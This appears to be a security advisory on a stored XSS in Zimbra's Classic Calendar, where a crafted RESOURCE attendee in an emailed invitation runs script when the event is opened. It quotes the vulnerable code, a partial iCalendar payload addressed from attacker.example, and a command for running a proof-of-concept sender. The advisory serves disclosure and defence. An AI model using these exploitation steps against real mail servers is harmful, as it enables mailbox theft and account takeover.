--- cve: CVE-2026-137834 cna: Rapid7 credit: Jonah Burgess (Rapid7) severity: "Critical (Rapid7)" cvss_v3_1: "9.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N" cwe: "CWE-79" affected_versions: "10.1.0 through 10.1.22 in the Classic Web Client" fixed_versions: "No confirmed fix" --- # CVE-2026-137834: Unauthenticated RESOURCE Attendee Stored XSS in Classic Appointment View ## Summary An unauthenticated SMTP sender can place active markup in a `CUTYPE=RESOURCE;ROLE=NON-PARTICIPANT` attendee. With invitation auto-add enabled, Zimbra creates a Calendar item whose read-only Resources row inserts the decoded address without encoding. Double-clicking the event executes JavaScript in the authenticated Zimbra origin. ## Prerequisites and Scope The attacker must be able to deliver an invitation whose quoted RESOURCE address survives the mail path. The recipient must use Classic Calendar. Invitation auto-add and Calendar resource/GAL support must also be enabled; the recipient double-clicks the resulting event. A stricter intermediary may normalize the resource address. ## Technical Analysis The SOAP/output-context distinction described under [CVE-2026-93647](CVE-2026-93647.md) also applies to the decoded resource address. ### The read-only Resources row inserts a raw RESOURCE attendee For a fresh `METHOD:REQUEST`, the default auto-add preference creates a Calendar item. Zimbra maps an attendee declared as `CUTYPE=RESOURCE;ROLE=NON-PARTICIPANT` to `RES`/`NON`; Classic classifies the unmatched address as EQUIPMENT and returns its unencoded address text. The relevant appointment-view code in `ZmCalItemView.js` is: ```javascript var subs = this._getSubs(calItem); subs.subject = AjxStringUtil.htmlEncode(subs.subject); subs.location = AjxStringUtil.htmlEncode(subs.location); this._hdrTableId = this._htmlElId + "_hdrTable"; var calendar = calItem.getFolder(); var isReadOnly = calendar.isReadOnly() || calendar.isInTrash(); subs.allowEdit = !isReadOnly && (appCtxt.get(ZmSetting.CAL_APPT_ALLOW_ATTENDEE_EDIT) || calItem.isOrg); var el = this.getHtmlElement(); el.innerHTML = AjxTemplate.expand("calendar.Appointment#ReadOnlyView", subs); // [0] appointment parsed as HTML ``` At `[0]`, the expanded appointment template becomes active HTML. The relevant `ReadOnlyView` and `AddEntry` fragments in `Appointment.template.js` are: ```javascript if (data.equipment) { buffer[_i++] = AjxTemplate.expand("calendar.Appointment#AddEntry", {lbl:ZmMsg.resources, val:data.equipment}) ; // [1] resource passed to template } // ... remaining ReadOnlyView output and AddEntry registration/setup omitted ... buffer[_i++] = ""; buffer[_i++] = AjxMessageFormat.format(ZmMsg.makeLabel, AjxStringUtil.htmlEncode(data.lbl)) ; buffer[_i++] = " "; buffer[_i++] = data.val ; // [2] resource inserted raw buffer[_i++] = ""; ``` At `[1]`, `equipment` is passed to `AddEntry`; `[2]` appends it without encoding. A normal Calendar-event double-click opens the read-only view and executes the event handler. ## Exploitation PoC: [classic_resource_attendee_detail_xss.py](../pocs/CVE-2026-137834/classic_resource_attendee_detail_xss.py). The standalone SMTP PoC uses a conventional organizer and places the quoted-local payload in one non-participating resource: ``` METHOD:REQUEST UID:CALADDRESS-RESOURCE-DEMO ORGANIZER:mailto:organizer@attacker.example ATTENDEE;RSVP=TRUE;PARTSTAT=NEEDS-ACTION:mailto:victim@lab.local ATTENDEE;CUTYPE=RESOURCE;ROLE=NON-PARTICIPANT:mailto:""@attacker.example ``` The second line of the RESOURCE value is the real folded continuation. Run the PoC with: ```shell python3 pocs/CVE-2026-137834/classic_resource_attendee_detail_xss.py \ --smtp-host mail.lab.local \ --victim victim@lab.local \ --uid CALADDRESS-RESOURCE-DEMO \ --organizer organizer@attacker.example \ --envelope-from bounce@attacker.example \ --resource-domain attacker.example ``` With the default auto-add configuration, SMTP delivery created the Calendar event and preserved the attacker address as its `RES`/`NON` resource. Double-clicking the malicious event executed the payload in the read-only appointment view. ![The delivered resource-booking invitation appears in Classic Calendar](../assets/CVE-2026-137834/classic-resource-booking-calendar.png) ![Opening the resource-booking appointment executes JavaScript on mail.lab.local](../assets/CVE-2026-137834/classic-resource-attendee-xss.png) ## Impact Opening the delivered event gives the sender JavaScript execution in the signed-in Classic application. The payload can read mailbox content and submit authenticated SOAP requests to send mail or change account state. Where the separate delegation flaw is present, the [persistent-access chain](../chains/xss_to_persistent_mailbox_access.md) can retain that access after the browser session ends. The Resources-row sink scores [**9.3 Critical**](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N). ## Patch Status No fixed release has been established through ZCS 10.1.22. ## Indicators of Compromise (IoCs) The [message inspector](../detections/mail_and_calendar.md#address-and-share-invitation-xss) decodes the affected MIME, address and share fields. Preserve the original message and investigate subsequent mailbox actions if execution is suspected.